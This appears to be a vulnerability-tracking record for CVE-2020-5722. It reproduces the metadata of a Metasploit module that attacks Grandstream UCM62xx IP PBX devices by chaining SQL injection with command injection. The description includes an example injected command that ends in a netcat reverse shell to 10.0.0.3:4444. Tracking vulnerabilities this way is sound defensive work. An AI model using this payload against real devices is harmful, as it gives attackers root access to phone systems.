{"uuid": "9ce2723e-6748-4146-9def-c891bfc8d59c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5722", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/grandstream_ucm62xx_sendemail_rce.rb", "content": "{\"aliases\": [], \"arch\": \"cmd, armle\", \"author\": [\"jbaines-r7\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and\\n          a command injection vulnerability (technically, no assigned CVE but was inadvertently\\n          patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX\\n          series of devices. The vulnerabilities allow an unauthenticated remote attacker to\\n          execute commands as root.\\n\\n          Exploitation happens in two stages:\\n\\n          1. An SQL injection during username lookup while executing the \\\"Forgot Password\\\" function.\\n          2. A command injection that occurs after the user provided username is passed to a Python script\\n          via the shell. Like so:\\n\\n          /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \\\\\\n          password '' `cat &lt;&lt;'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `\\n\\n          This module affect UCM62xx versions before firmware version 1.0.19.20.\", \"disclosure_date\": \"2020-03-23\", \"fullname\": \"exploit/linux/http/grandstream_ucm62xx_sendemail_rce\", \"is_install_path\": true, \"mod_time\": \"2025-12-17 16:12:31 +0000\", \"name\": \"Grandstream UCM62xx IP PBX sendPasswordEmail RCE\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\", \"artifacts-on-disk\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/http/grandstream_ucm62xx_sendemail_rce.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/http/grandstream_ucm62xx_sendemail_rce\", \"references\": [\"CVE-2020-5722\", \"EDB-48247\"], \"rport\": 8089, \"session_types\": false, \"targets\": [\"Unix Command\", \"Linux Dropper\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:37.047594Z"}